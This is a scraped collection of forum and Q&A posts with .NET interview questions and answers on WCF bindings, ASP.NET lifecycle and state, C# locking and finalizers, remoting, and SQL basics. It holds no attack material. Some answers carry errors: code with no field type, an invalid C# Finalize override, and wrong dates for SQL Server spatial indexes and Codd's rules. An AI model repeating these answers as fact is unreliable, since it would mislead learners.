Offered by the NetTcpBinding class, this uses TCP for cross-machine communication on the intranet. It supports a
variety of features, including reliability, transactions, and security, and is optimized for WCF-to-WCF
communication. As a result, it requires both the client and the service to use WCF.

Peer Network Binding:
Offered by the NetPeerTcpBinding class, this uses peer networking as a transport. The peer network-enabled client
and services all subscribe to the same grid and broadcast messages to it.

IPC Binding:
Offered by the NetNamedPipeBinding class, this uses named pipes as a transport for same-machine communication.
It is the most secure binding since it cannot accept calls from outside the machine and it supports a variety of
features similar to the TCP binding.

Web Service (WS) Binding:
Offered by the WSHttpBinding class, this uses HTTP or HTTPS for transport, and is designed to offer a variety of
features such as reliability, transactions, and security over the Internet.

Federated WS Binding:
Offered by the WSFederationHttpBinding class, this is a specialization of the WS binding, offering support for
federated security.

Duplex WS Binding:
Offered by the WSDualHttpBinding class, this is similar to the WS binding except it also supports bidirectional
communication from the service to the client.

MSMQ Binding:
Offered by the NetMsmqBinding class, this uses MSMQ for transport and is designed to offer support for
disconnected queued calls.

MSMQ Integration Binding:
Offered by the MsmqIntegrationBinding class, this converts WCF messages to and from MSMQ messages, and is
designed to interoperate with legacy MSMQ clients.
Expertise Level : Intermediate
Posted Date : 1/21/2014 8:27:35 PM

ASP.Net

wcf

Asked in : Accenture, ABCO, CSS, CSC, ADP, eBay, HCL, Siemens, Syntel, Polaris, TechMahindra, Infosys,
Robert Bosch, Fidelity
view comments
1 people rated this as good.
What are the advantages of hosting WCF service in WAS?
WAS (Windows Activation Service) is a component of IIS 7.0.
Following are few advantages :
1. We are not only limited to HTTP protocol. We can also use supported protocols like TCP, named pipes and
MSMQ.
2. No need to completely install IIS. We can only install WAS component and keep away the WebServer.
Expertise Level : Basic
Posted Date : 1/21/2014 8:23:14 PM

wcf

Windows Activation Service

TCP

MSMQ

Asked in : Verizon, ADP
view comments
0 people rated this as good.
What is service host factory in WCF?
1. Service host factory is the mechanism by which we can create the instances of service host dynamically as the
request comes in.
2. This is useful when we need to implement the event handlers for opening and closing the service.
3. WCF provides ServiceFactory class for this purpose.
Expertise Level : Basic
Posted Date : 1/21/2014 8:23:19 PM

wcf

ServiceFactory

Asked in : Philips, Polaris
view comments
0 people rated this as good.
What is address header in WCF?
Address Header contains the information which is sent with every request, it can be used by either end point service
or any intermediate device for determining any routing logic or processing logic.
WCF provides AddressHeader class for this purpose.
Example :
AddressHeader addressHeader= AddressHeader.CreateAddressHeader("Name of the header",
"Information included in header ");


Once the AddressHeader instance is created, it can be associated with end point instance as follows :

EndpointAddress endpoint = new EndpointAddress(new Uri("http://myserver/myservice"), addressHeader);
Expertise Level : Intermediate
Posted Date : 1/21/2014 8:23:09 PM

wcf

Address Header

Asked in : Polaris, Wipro, Keane

ITC Infotech Interview questions -
ASP.Net, C#, SQL Server
Please find the ITC infotech .net interview questions and answers below:

Difference between web.config and app.config?
web.config is used in ASP.Net web applcations whereas app.config is used in the windows
applications.


Can a stored procedure returns more than one result set?
Yes. If the stored procedure contains more than one select statament in it, then it returns
more than one result set.


Difference between subquery and correlated subquery
In a subquery first the the inner query will be executed then the outer query will be
executed.
In corelated subquery the inner query refers to the outer query.


If a stored procedure returns more than one result set , how do you read it from
ado.net?
[C#]

SqlDataReader dr = cmd.ExecuteReader(CommandBehavior.CloseConnection);

dr.NextResult(); //Advances the data reader to the next result, when reading
the results of batch Transact-SQL statements



Difference between convert.tostring() and .tostring()
convert.tostring() supports null whereas .tostring() will not support null


How do I prevent concurrent access to my data?
Each object has a concurrency lock (critical section) associated with it. The
System.Threading.Monitor.Enter/Exit methods are used to acquire and release this lock. For
example, instances of the following class only allow one thread at a time to enter method
f():
[C#]

class C

{

public void f()

{

try

{

Monitor.Enter(this);

...



}

finally

{

Monitor.Exit(this);

}

}

}


C# has a ''lock'' keyword which provides a convenient shorthand for the code above:
[C#]

class C

{

public void f()

{

lock(this)

{

...

}

}

}


Note that calling Monitor.Enter(myObject) does NOT mean that all access to myObject is
serialized. It means that the synchronisation lock associated with myObject has been
acquired, and no other thread can acquire that lock until Monitor.Exit(o) is called. In other
words, this class is functionally equivalent to the classes above:
[C#]

class C

{

public void f()

{

lock( m_object )

{

...

}

}





private m_object = new object();

}


Actually, it could be argued that this version of the code is superior, as the lock is totally
encapsulated within the class, and not accessible to the user of the object.


What is the Pre-Compilation feature of ASP.NET 2.0?
Previously, in ASP.NET, the pages and the code used to be compiled dynamically and then
cached so as to make the requests to access the page extremely efficient. In ASP.NET 2.0,
the pre-compilation feature is used with which an entire site is precompiled before it is
made available to users.

There is a pre-defined folder structure for enabling the pre-compilation feature:

* App_Code: stores classes
* App_Themes: stores CSS files, Images, etc.
* App_Data: stores XML files, Text Files, etc.
* App_GlobalResources: stores all the resources at global level E.g. resx files, etc
* App_LocalResources: stores all the resources at local/Page level


Can an object instantiated using const keyword?
No. Only possible constant reference types are string and null.


Which two properties are on every validation control?
ControlToValidate & ErrorMessage properties


How many languages .NET is supporting now?
When .NET was introduced it came with several languages. VB.NET, C#, COBOL and Perl,
etc. 44 languages are supported.

Hope this helps others!

Thank you.
Posted By: tgbalaji Posted Dt: 13-Aug-2013 Total Points: 9502


RE: ITC Infotech Interview questions -
ASP.Net, C#, SQL Server
Whats the difference between Response.Write() andResponse.Output.Write()?
Response.Output.Write() allows you to write formatted output.


What methods are fired during the page load?
Init() - when the page is instantiated
Load() - when the page is loaded into server memory
PreRender() - the brief moment before the page is displayed to the user as HTML
Unload() - when page finishes loading.


When during the page processing cycle is ViewState available?
After the Init() and before the Page_Load(), or OnLoad() for a control.


What namespace does the Web page belong in the .NET Framework class
hierarchy?

System.Web.UI.Page



Where do you store the information about the users locale?

System.Web.UI.Page.Culture



Whats a bubbled event?
When you have a complex control, like DataGrid, writing an event processing routine for
each object (cell, button, row, etc.) is quite tedious. The controls can bubble up their
eventhandlers, allowing the main DataGrid event handler to take care of its constituents.


What data types do the RangeValidator control support?
Integer, String, and Date.


What is the difference between Server.Transfer and Response.Redirect? Why
would I choose one over the other?
Server.Transfer transfers page processing from one page directly to the next page without
making a round-trip back to the client's browser. This provides a faster response with a little
less overhead on the server. Server.Transfer does not update the clients url history list or
current url. Response.Redirect is used to redirect the user's browser to another page or site.
This performas a trip back to the client where the client's browser is redirected to the new
page. The user's browser history list is updated to reflect the new address.


What base class do all Web Forms inherit from?
The Page class.


What is ViewState?
ViewState allows the state of objects (serializable) to be stored in a hidden field on the
page. ViewState is transported to the client and back to the server, and is not stored on the
server or any other external source. ViewState is used the retain the state of server-side
objects between postabacks.


What does the "EnableViewState" property do? Why would I want it on or off?
It allows the page to save the users input on a form across postbacks. It saves the server-
side values for a given control into ViewState, which is stored as a hidden value on the page
before sending the page to the clients browser. When the page is posted back to the server
the server control is recreated with the state stored in viewstate.


How to manage state in Asp.Net Web applications?
State management is done at client side and server side
Client Side: Client Side it can achieved with the help of View state, Cookies, Query
String,hidden fields and control state.
Server Side: with the help of Cache, Application,Session and Database.


What is smart navigation?
The cursor position is maintained when the page gets refreshed due to the server side
validation and the page gets refreshed.


What is System.Web.Mail?
System.Web.Mail (SWM) is the .Net namespace used to send email in .Net Framework
applications. SWM contains three classes:
1. MailMessage - used for creating and manipulating the mail message contents.
2. MailAttachments - used for creating a mail attachment to be added to the mail message.
3. SmtpMail - used for sending email to the relay mail server.


How many objects does ADO.Net have and what are they?
There are 5 objects in ADO.Net. They are Connection, Adapter, Command, Reader and
Dataset.


How does ASP.Net page works?
1. When a browser requests an HTML file, the server returns the file
2. When a browser requests an ASP.Net file, IIS passes the request to the ASP.Net engine
on the server.
3. The ASP.Net engine reads the file, line by line, and executes the scripts in the file
4. Finally, the ASP.Net file is returned to the browser as plain HTML.


How do you debug an ASP.Net Web application?
Attach the aspnet_wp.exe process to the DbgClr debugger.


In order to get assembly info which namespace we should have import?

System.Reflection Namespace

tcs .net interview questions
What is reflection?
- All .NET compilers produce metadata about the types defined in the modules they
produce. This metadata is packaged along with the module (modules in turn are packaged
together in assemblies), and can be accessed by a mechanism called reflection. The
System.Reflection namespace contains classes that can be used to interrogate the types for
a module/assembly.
- Using reflection to access .NET metadata is very similar to using ITypeLib/ITypeInfo to
access type library data in COM, and it is used for similar purposes - e.g. determining data
type sizes for marshaling data across context/process/machine boundaries.
- Reflection can also be used to dynamically invoke methods (see
System.Type.InvokeMember), or even create types dynamically at run-time (see
System.Reflection.Emit.TypeBuilder).


What size is a .NET object?
Each instance of a reference type has two fields maintained by the runtime - a method table
pointer and a sync block. These are 4 bytes each on a 32-bit system, making a total of 8
bytes per object overhead. Obviously the instance data for the type must be added to this
to get the overall size of the object. So, for example, instances of the following class are 12
bytes each:


class MyInt

{

...

private int x;

}


However, note that with the current implementation of the CLR there seems to be a
minimum object size of 12 bytes, even for classes with no data (e.g. System.Object).
Values types have no equivalent overhead.


What is the difference between an event and a delegate?
An event is just a wrapper for a multicast delegate. Adding a public event to a class is
almost the same as adding a public multicast delegate field. In both cases, subscriber
objects can register for notifications, and in both cases the publisher object can send
notifications to the subscribers. However, a public multicast delegate has the undesirable
property that external objects can invoke the delegate, something we''d normally want to
restrict to the publisher. Hence events - an event adds public methods to the containing
class to add and remove receivers, but does not make the invocation mechanism public.


How does .NET remoting work?
.NET remoting involves sending messages along channels. Two of the standard channels are
HTTP and TCP. TCP is intended for LANs only - HTTP can be used for LANs or WANs
(internet).
Support is provided for multiple message serializarion formats. Examples are SOAP (XML-
based) and binary. By default, the HTTP channel uses SOAP (via the .NET runtime
Serialization SOAP Formatter), and the TCP channel uses binary (via the .NET runtime
Serialization Binary Formatter). But either channel can use either serialization format.

There are a number of styles of remote access:
SingleCall. Each incoming request from a client is serviced by a new object. The object is
thrown away when the request has finished.
Singleton. All incoming requests from clients are processed by a single server object.
Client-activated object. This is the old stateful (D)COM model whereby the client receives a
reference to the remote object and holds that reference (thus keeping the remote object
alive) until it is finished with it.


How do I prevent concurrent access to my data?
Each object has a concurrency lock (critical section) associated with it. The
System.Threading.Monitor.Enter/Exit methods are used to acquire and release this lock. For
example, instances of the following class only allow one thread at a time to enter method
f():


class C

{

public void f()

{

try

{

Monitor.Enter(this);

...

}

finally

{

Monitor.Exit(this);

}

}

}


C# has a 'lock' keyword which provides a convenient shorthand for the code above:


class C

{

public void f()

{

lock(this)

{

...

}

}

}


Note that calling Monitor.Enter(myObject) does NOT mean that all access to myObject is
serialized. It means that the synchronisation lock associated with myObject has been
acquired, and no other thread can acquire that lock until Monitor.Exit(o) is called. In other
words, this class is functionally equivalent to the classes above:


class C

{

public void f()

{

lock( m_object )

{

...

}

}



private m_object = new object();

}


Actually, it could be argued that this version of the code is superior, as the lock is totally
encapsulated within the class, and not accessible to the user of the object.


How can I stop my code being reverse-engineered from IL?
You can buy an IL obfuscation tool. These tools work by ''optimising'' the IL in such a way
that reverse-engineering becomes much more difficult.
Of course if you are writing web services then reverse-engineering is not a problem as
clients do not have access to your IL.
Posted By: tgbalaji Posted Dt: 19-Aug-2013 Total Points: 9502

E: .net interview questions and answers for 5
years experience
Hi Karthik,

Please find below the list of .net interview questions and answers for experienced
professionals.

What is a CLR?
CLR is an acronym of common language runtime. It converts the IL code to native code
along with JIT compiler. Memory Management, Security, Assembly loading, Threading, Code
Access Security are the main responsibilities of CLR.


What are the types of assembly?
-Public or Shared or Global
-Private or Application Specific
-Satellite


What is a shared assembly?
Shared assembly is the one which is installed in Global Assembly Cache (GAC). An assembly
can be installed in GAC using gacutil -i AssemblyName.dll. Before using the gacutil
command, that assembly should be strong named using sn.exe.


What order global.asax events are triggered?
Global.asax events are triggered in the following order:
Application_BeginRequest
Application_AuthenticateRequest
Application_AuthorizeRequest
Application_ResolveRequestCache
Application_AcquireRequestState
Application_PreRequestHandlerExecute
Application_PreSendRequestHeaders
Application_PreSendRequestContent
<<Code is executed>>
Application_PostRequestHandlerExecute
Application_ReleaseRequestState
Application_UpdateRequestCache
Application_EndRequest.


How can we format data inside Data Grid?
Using DataFormatString property.


What is the difference between Web.config and Machine.Config?
Web.config files apply settings to each web application, while Machine.config file apply
settings to all ASP.NET applications in the server.


What is the use of GLOBAL.ASAX file?
It allows to execute ASP.NET application level events and setting application-level variables.


Which class does the remote object has to inherit?
All remote objects should inherit from System.MarshalbyRefObject.


what are two different types of remote object creation mode in .NET ?
There are two different ways in which object can be created using Remoting:-
SAO (Server Activated Objects) also called as Well-Known call mode.
CAO (Client Activated Objects)
SAO has two modes Single Call and Singleton. With Single Call object, the object is
created with every method call thus making the object stateless. With Singleton, the object
is created only once and the object is shared with all clients.
CAO are stateful as compared to SAO. In CAO, the creation request is sent from client side.
Client holds a proxy to the server object created on server.


What is Marshaling?
Marshaling is used when an object is converted so that it can be sent across the network or
across application domains. Unmarshaling creates an object from the marshaled data.
Two Types :
(1) Marshal By Value (MBV)
(2) Marshaling By Reference (MBR)


Is Session_End event supported in all session modes?
Session_End event occurs only in Inproc mode. State Server and SQL SERVER do not
have Session_End event.


What are the state maintainence methods in ASP.Net?
- Hidden Fields
- View State
- Cookies
- Query Strings
- Session


What is the ideal size of a cookie?
Cookie size should not exceed 25 to 30% of the Page Size.


What are the difference between abstract class and interface?
Abstract classes are closely related to interfaces. They are classes that cannot be
instantiated, and are frequently either partially implemented, or not at all implemented. One
key difference between abstract classes and interfaces is that a class may implement an
unlimited number of interfaces, but may inherit from only one abstract (or any other kind
of) class. A class that is derived from an abstract class may still implement interfaces.
Abstract classes are useful when creating components because they allow you specify an
invariant level of functionality in some methods, but leave the implementation of other
methods until a specific implementation of that class is needed. They also version well,
because if additional functionality is needed in derived classes, it can be added to the base
class without breaking code.


What is a delegate?
Delegate is a class that can hold a reference to a method or a function. Delegate class has a
signature and it can only reference those methods whose signature is compliant with the
class. Delegates are type-safe functions pointers or callbacks.


What is compile time and runtime polymorphism?
Method overloading is the example for compile time and method overriding is the example
for runtime polymorphism.


What is the default access modifier of a class and its members?
Default Access modifier of a class is internal and default access modifier of the class
members is private.


What are the drawbacks of collections in .net?
1. Performance will be low as they store each and every member as an object
2. Incorrect parsing throws runtime "Invalid Cast" exception
Examples of System.Collections: ArrayList, HashTable, Stack, Queue
Note: System.Collections.Generic came up in .NET 2.0 to overcome the drawbacks of
collections.


What is Operator overloading in .NET?
It provides a way to define and use operators such as +, -, and / for user-defined classes or
structs. It allows us to define/redefine the way operators work with our classes and structs.
This allows programmers to make their custom types look and feel like simple types such as
int and string.


What is the difference between Authentication and authorization?
Authentication is verifying the identity of a user and authorization is process where we
check does this identity have access rights to the system.. Authorization is the process of
allowing an authenticated user access to resources.

Hope this helps..! Good luck.
Posted By: tgbalaji Posted Dt: 22-Jun-2013
516
122
Total Points: 9502


RE: .net interview questions and answers for
5 years experience
Hi,

Please refer the following links for .net interview questions and answers for experienced
professionals:

http://www.logicsmeet.com/forum/38554-.net-interview-questions-for-3-years-
experience.aspx

http://www.logicsmeet.com/forum/ASP.Net/29371-.net-interview-questions-and-answers-
for-experienced.aspx

http://www.logicsmeet.com/forum/WCF/42773-wcf-interview-questions-and-answers-for-
experienced.aspx

http://www.logicsmeet.com/forum/35808-sql-server-interview-questions-and-answers-for-
experienced.aspx

Thanks
Posted By: karthikkannan Posted Dt: 28-Jun-2013
17
3
Total Points: 5220


RE: .net interview questions and answers for
5 years experience
What are response files in .net?
A response file is a text file that contains a set of compiler commandline switches. When you
execute CSC.exe, the compiler opens response files and uses any switches that are specified
in them as though the switches were passed to CSC.exe on the command line.
When you install the .NET Framework, it installs a default global CSC.rsp file in the
%SystemRoot%\Microsoft.NET\Framework\vX.X.Xdirectory (where X.X.X is the version of
the .NET Framework you have installed)


Can an object instantiated using const keyword?
No. Only possible constant reference types are string and null.


What is the base class of .net?
System.Object


How do you split a string based on a character without using string.split function?
System.Text.RegularExpressions namespace have to be imported to use Regex.Split()
method.


Which acts as a bridge between the database and the datatable?
DataAdapter


Do events have return type.
No, events do not have return type.


Can two catch blocks be executed?
No, once the proper catch section is executed the control goes finally to block. So there will
not be any scenarios in which multiple catch blocks will be executed.


What is the difference between System.String and System.StringBuilder classes?
String is immutable; ie., when a string is modified, a new memory space will be allocated on
the heap memory.
StringBuilder can have mutable string where a variety of operations can be performed.
(System.Text Namespace)


In what instances you will declare a constructor to be private?
When we create a private constructor, we cannot create object of the class directly from a
client. Therefore, you will use private constructors when you do not want instances of the
class to be created by any external client.


Where are all .NET Collection classes located?
System.Collection namespace has all the collection classes available in .NET.


What does virtual keyword mean?
They signify that method and property can be overridden in the sub class.


Do interface have accessibility modifier.
All elements in Interface should be public. Therefore, by default all interface elements are
public and abstract by default.


What are the features of Object Oriented Programming?
Abstraction:
Abstraction is a process of identifying the relevant qualities and behvaiors an object should
possess.
Encapsulation:
It is a process of hiding all the internal details of an object from the outside world.

Inheritance:
Inheritance is the ability to define a new class or object that inherits the behaviour and its
functionality of an existing class. The new class or object is called a child or subclass or
derived class while the original class is called parent or base class.

Polymorphism:
Polymorphism means an ability to assume different forms at different places. In OOP, it is a
language's ability to handle objects differently based on their runtime type and use.
Polymorphism is briefly described as "one interface, many implementations". Types of
polymorphism are Compile Type Polymorphism and RunTime Polymorphism.
Posted By: Anonymous Posted Dt: 02-Jul-2013
29
5
Total Points: 9863


RE: .net interview questions and answers for
5 years experience
Refer the link:
http://stackoverflow.com/questions/3786361/difference-between-is-and-as-keyword
Posted By: Posted Dt: 18-Aug-2013
12
0
Total Points:


RE: .net interview questions and answers for
5 years experience
The is operator checks if an object can be cast to a specific type.

Example:

if (someObject is StringBuilder) ...


The as operator attempts to cast an object to a specific type, and returns null if it fails.

Example:

StringBuilder b = someObject as StringBuilder;
if (b != null) ...


Also related:
The cast operator attempts to cast an object to a specific type, and throws an exception if it
fails.

Example:

StringBuilder b = (StringBuilder)someObject.

Posted By: Anonymous Posted Dt: 22-Aug-2013
28
Total Points: 9863
21


RE: .net interview questions and answers for
5 years experience
-->what is the difference between is and as keyword in C#?

Answer-->The is operator checks if an object can be cast to a specific type.

Example:

if (someObject is StringBuilder) ...
The as operator attempts to cast an object to a specific type, and returns null if it fails.

Example:

StringBuilder b = someObject as StringBuilder;
if (b != null) ...
Posted By: alekhyasree Posted Dt: 12-Sep-2013
16
0
Total Points: 39


RE: .net interview questions and answers for
5 years experience
Understanding Garbage Collection in .NET


Understanding Garbage Collection
The .NET garbage collector is optimized for the following assumptions
1. Objects that were recently allocated are most likely to be freed.
2. Objects that have lived the longest are least likely to be become free.
3. Objects allocated together are often used together.

The .NET garbage collector is known as generational garbage collector. The objects
allocated are categorized into three generations. Most recently allocated objects are placed
in generation 0.
Objects in generation 0, that survive a garbage collection pass are moved to generation 1.
generation 2 contains long-lived objects, that survive after the two collection passes.

A garbage collection pass for generation 0 is the most common type of collection.
Generation 1 collection pass is performed if generation 0 collection pass is not sufficient to
reclaim memory.
At last, generation 2 collection pass is performed if collection pass on generation 0 and 1
are not sufficient to reclaim memory. If no memory is available, after all the collection
passes, an
OutOfMemoryException is thrown.


Finalizers
A class could expose a finalizer, which executes when the object is destroyed. In C#, the
finalizer is a protected method as shown below.

protected void Finalize()
{
base.Finalize();
// clean external resources
}

The method Finalize(), is only called by the .NET framework.
C#, will generate a code to a well formed Finalizer, if we declare a destructor as shown


~class1
{
// Clean external resources.
}

Declaring a Finalize method and destructor in a class, will lead to an error.


Dispose
Instead of declaring a Finalizer, exposing a Dispose method is considered as good.

If we clean up a object, using Dispose or Close method, we should indicate to the runtime
that the object is no longer needed finalization, by calling GC.SuppressFinalize() as shown
below:

public void Dispose()
{
// all clean up source code here..
GC.SuppressFinalize(this);
}

If we are creating and using objects that have Dispose or Close methods, we should call
these methods when weve finished using these objects. It is advisable to place these calls
in a finally clause, which guarantees that the objects are properly handled even if an
exception is thrown.


Summary
The System.GC class provides methods that control the system garbage collector. We have
to use methods from this class in our application with extreme caution.
Posted By: Anonymous Posted Dt: 09-Oct-2013
9
2
Total Points: 9863


RE: .net interview questions and answers for
5 years experience
Hi All,

Here are few wcf interview questions and answers which could be asked in any .net
interview:

What is WCF?
Windows Communication Foundation or just WCF is a programming framework used to build
applications that communicate with each other. It is a part of the .NET Framework dedicated
to communications.


What are the different WCF binding available?
BasicHttpBinding
WSHttpBinding
WSDualHttpBinding
WSFederationHttpBinding
NetTcpBinding
NetNamedPipeBinding
NetMsmqBinding
NetPeerTcpBinding
MsmqIntegrationBinding


What is the proxy for WCF Service?
A proxy is a class by which a service client can Interact with the service. By the use of proxy
in the client application we are able to call the different methods exposed by the service.


What is the difference between XMLSerializer and the DataContractSerializer?
1. DataContractSerializer is the default serializer fot the WCF
2. DataContractSerializer is very fast.
3. DataContractSerializer is basically for very small, simple subset of the XML infoset.
4. XMLSerializer is used for complex schemas


What is endpoint in WCF service?
The endpoint is an Interface which defines how a client will communicate with the service. It
consists of three main points: Address,Binding and Contract.


What is the difference between WCF Service and Web Service?
1) WCF Service supports both http and tcp protocol while webservice supports only http
protocol.
2) WCF Service is more flexible than web service.
3) WCF is combination of WebService, Remoting, MSMQ


What are the various ways of hosting a WCF service?
Self hosting the service in his own application domain. This we have already covered in the
first section. The service comes in to existence when you create the object of ServiceHost
class and the service closes when you call the Close of the ServiceHost class. Host in
application domain or process provided by IIS Server. Host in Application domain and
process provided by WAS (Windows Activation Service) Server.


What is service and client in perspective of data communication?
A service is a unit of functionality exposed to the world.
The client of a service is merely the party consuming the service.


List the behaviors that WCF service uses during its execution.
A WCF service uses the following list of behaviors during its execution.
1. Throttling
2. Security
3. Instancing
- PerCall
- PerSession
- Single
4. Error handling
5. Concurrency
- Multiple
- Single
- Reentrant
6. Transactions


What is WCF? Explain.
WCF (A platform for SOA)
Unified programming model, provided by WCF, helps in building Service Oriented
Application (SOA) through some simple implementation. WCF Service features for usage in
SOA implementation.

Uses of WCF services:
Expose functionality using contracts to clients
Can be deployed over various protocols to satisfy various distributed and interoperable
scenarios
Execute autonomously and do not impact another service in case of failure
Design and implementation are separate from business logic, which eases migration to
SOA design


What is the programming life cycle of WCF?
Windows Communication Foundation (WCF) enables applications to communicate whether
they are on the same computer, across the Internet, or on different application platforms.
This topic outlines the tasks that are required to build a WCF application. The basic tasks to
perform, are, in order to:
1. Define the Service Contract
2. Implement the Service Contract
3. Configure the Service by specifying endpoint information and other behavior information
4. Host the service in an application
5. Build the client application


Define WCF data contract
- A data contract is defined by using a Data Contract Attribute on a class or structure.
- Members of the data structure which will be used by the service need to be marked with
the Data Member Attribute.
- Only those members will be transferred between the service and its client. In the same
way that different classes can implement the same interface, different classes can
implement the same Data Contract, and can serialize and deserialize the same data.


What is the advantage and disadvantage of implementing IExtensibleDataObject?
WCF guidelines recommend enhancing all data contracts with support of
IExtensibleDataObject interface, to preserve unexpected data from clients. During
deserialization, superfluous data is placed in a dictionary on the service side and during
serialization, the same data is written as XML as it was originally provided by the client. This
is very useful to preserve data from version 2.0 services at a version 1.0 client. It is also
useful in case where downstream calls from version 2.0 services go to other services
handling version 1.0.
However, there is also a disadvantage of implementing IExtensibleDataObject. It carries
risks of denial of service (DoS) and unnecessary use of server resources.


What is the role of WSDL in WCF?
WSDL stands for Web Service Description Language. The WCF service exposes the WSDL
document for the clients, to generate proxies and the configuration file. The WSDL file
provides the following information for the consumers of the WCF service.
1. Provides the information about the service contract and operations available.
2. Provides the information about all the end points exposed by the WCF service.
3. Provides the information about the messages and types that can be exchanged between
the client and the WCF service.
4. WSDL also provides any information about the policies used.


What are the different types of bindings available in WCF?
Basic Binding:
Offered by the BasicHttpBinding class, this is designed to expose a WCF service as a legacy
ASMX web service, so that old clients can work with new services. When used by the client,
this binding enables new WCF clients to work with old ASMX services.

TCP Binding:
Offered by the NetTcpBinding class, this uses TCP for cross-machine communication on the
intranet. It supports a variety of features, including reliability, transactions, and security,
and is optimized for WCF-to-WCF communication. As a result, it requires both the client and
the service to use WCF.

Peer Network Binding:
Offered by the NetPeerTcpBinding class, this uses peer networking as a transport. The peer
network-enabled client and services all subscribe to the same grid and broadcast messages
to it.

IPC Binding:
Offered by the NetNamedPipeBinding class, this uses named pipes as a transport for same-
machine communication. It is the most secure binding since it cannot accept calls from
outside the machine and it supports a variety of features similar to the TCP binding.

Web Service (WS) Binding:
Offered by the WSHttpBinding class, this usHTTP or HTTPS for transport, and is designed to
offer a variety of features such as reliability, transactions, and security over the Internet.

Federated WS Binding:
Offered by the WSFederationHttpBinding class, this is a specialization of the WS binding,
offering support for federated security.

Duplex WS Binding:
Offered by the WSDualHttpBinding class, this is similar to the WS binding except it also
supports bidirectional communication from the service to the client.

MSMQ Binding:
Offered by the NetMsmqBinding class, this uses MSMQ for transport and is designed to offer
support for disconnected queued calls.

MSMQ Integration Binding:
Offered by the MsmqIntegrationBinding class, this converts WCF messages to and from
MSMQ messages, and is designed to interoperate with legacy MSMQ clients.


What are Various Ways of Hosting WCF Services?
Three ways of hosting WCF Services:
1. Self-hosting the service in its own application domain. The service comes into existence
when you create the object of Service Host class and the service closes when you call the
Close of the Service Host class.
2. Host in application domain or process provided by IIS Server.
3. Host in application domain and process provided by WAS (Windows Activation Service)
Server.

Thank you.
Posted By: Anonymous Posted Dt: 12-Oct-2013
10
1
Total Points: 9863


RE: .net interview questions and answers for
5 years experience
Question: What is data contract in wcf?
Answer: DataContract is generally an attribute which is put above any user-defined type.
Now that type is able to be serialize and be transmitted over the wire.
Posted By: Posted Dt: 23-Dec-2013
3
0
Total Points:


RE: .net interview questions and answers for
5 years experience
ASP.Net Interview Questions and Answers

Whats the difference between Response.Write() andResponse.Output.Write()?
Ans: Response.Output.Write() allows you to write formatted output.


What methods are fired during the page load?
- Init() - when the page is instantiated
- Load() - when the page is loaded into server memory
- PreRender() - the brief moment before the page is displayed to the user as HTML
- Unload() - when page finishes loading.


When during the page processing cycle is ViewState available?
- After the Init() and before the Page_Load(), or OnLoad() for a control.


What namespace does the Web page belong in the .NET Framework class
hierarchy?
System.Web.UI.Page


Where do you store the information about the users locale?
System.Web.UI.Page.Culture


Whats a bubbled event?
When you have a complex control, like DataGrid, writing an event processing routine for
each object (cell, button, row, etc.) is quite tedious. The controls can bubble up their
eventhandlers, allowing the main DataGrid event handler to take care of its constituents.


What data types do the RangeValidator control support?
Integer, String, and Date.


What is the difference between Server.Transfer and Response.Redirect? Why
would I choose one over the other?
Server.Transfer transfers page processing from one page directly to the next page without
making a round-trip back to the client's browser. This provides a faster response with a little
less overhead on the server. Server.Transfer does not update the clients url history list or
current url. Response.Redirect is used to redirect the user's browser to another page or site.
This performas a trip back to the client where the client's browser is redirected to the new
page. The user's browser history list is updated to reflect the new address.


What base class do all Web Forms inherit from?
The Page class.


What is ViewState?
ViewState allows the state of objects (serializable) to be stored in a hidden field on the
page. ViewState is transported to the client and back to the server, and is not stored on the
server or any other external source. ViewState is used the retain the state of server-side
objects between postbacks.


What does the "EnableViewState" property do? Why would I want it on or off?
It allows the page to save the users input on a form across postbacks. It saves the server-
side values for a given control into ViewState, which is stored as a hidden value on the page
before sending the page to the clients browser. When the page is posted back to the server
the server control is recreated with the state stored in viewstate.


How to manage state in Asp.Net Web applications?
State management is done at client side and server side
Client Side: Client Side it can achieved with the help of View state, Cookies, Query, String,
hidden fields and control state.
Server Side: with the help of Cache, Application,Session and Database.


What is smart navigation?
The cursor position is maintained when the page gets refreshed due to the server side
validation and the page gets refreshed.


What is System.Web.Mail?
System.Web.Mail is the .Net namespace used to send email in .Net Framework applications.
It contains three classes:
1. MailMessage - used for creating and manipulating the mail message contents.
2. MailAttachments - used for creating a mail attachment to be added to the mail message.
3. SmtpMail - used for sending email to the relay mail server.


How many objects does ADO.Net have and what are they?
There are 5 objects in ADO.Net.
They are Connection, Adapter, Command, Reader and Dataset.


How does ASP.Net page works?
1. When a browser requests an HTML file, the server returns the file
2. When a browser requests an ASP.Net file, IIS passes the request to the ASP.Net engine
on the server.
3. The ASP.Net engine reads the file, line by line, and executes the scripts in the file
4. Finally, the ASP.Net file is returned to the browser as plain HTML.


How do you debug an ASP.Net Web application?
Attach the aspnet_wp.exe process to the DbgClr debugger.


In order to get assembly info which namespace we should have import?

System.Reflection Namespace
Posted By: karthikkannan

What is SQL?
SQL is an acronym of Structure Query Language.
Structured Query Language (SQL) is the set of statements with which all programs and users access data in an
Oracle/MySql/SQL Server database.
SQL is a language which provides us an efficient way to access the data from the database.
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:54 PM

SQL Server

Asked in : IBM, Accenture, Verizon, TCS
view comments
12 people rated this as good.
What are the features of SQL?
- SQL can be used by a range of users.
- It is a non procedural language.
- It is an English-like language.
- Functionally complete.
Expertise Level : Basic
Posted Date : 1/21/2014 10:14:32 PM

SQL Server

Asked in : TCS
view comments
8 people rated this as good.
What new indexes are introduced in SQL Server 2005 in comparison to 2000?
- Spatial
- XML
Expertise Level : Basic
Posted Date : 1/21/2014 9:47:28 PM

SQL Server

Asked in : TCS, Cognizant
view comments
8 people rated this as good.
What are the tools that could be used for SQL Query performance tuning?
Query Analyzer, Profiler, Index Wizard, Performance Monitor
Expertise Level : Basic
Posted Date : 1/21/2014 8:30:24 PM

SQL Server

Asked in : TCS
view comments
7 people rated this as good.
Difference between Data and Information
Data: Known facts that can be recorded and that have implicit meaning .
Information: Processed Data.
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:29 PM

SQL Server

Asked in : TCS
view comments
6 people rated this as good.
What are CODD rules?
There are 12 rules that every DBMS should adhere in order to be true RDBMS. These rules were laid by E.F.CODD
in 1969.
1. Information Rule
2. Guaranteed access rule
3. Systematic treatment of null values
4. Dynamic on-line catalog based on the relational model
5. Comprehensive data sub-language Rule
6. View updating Rule
7. High-level insert, update and delete
8. Physical data independence
9. Logical data independence
10.Integrity independence
11.Distribution independence
12.Non-subversion Rule
Expertise Level : Basic
Posted Date : 1/21/2014 8:29:44 PM

SQL Server

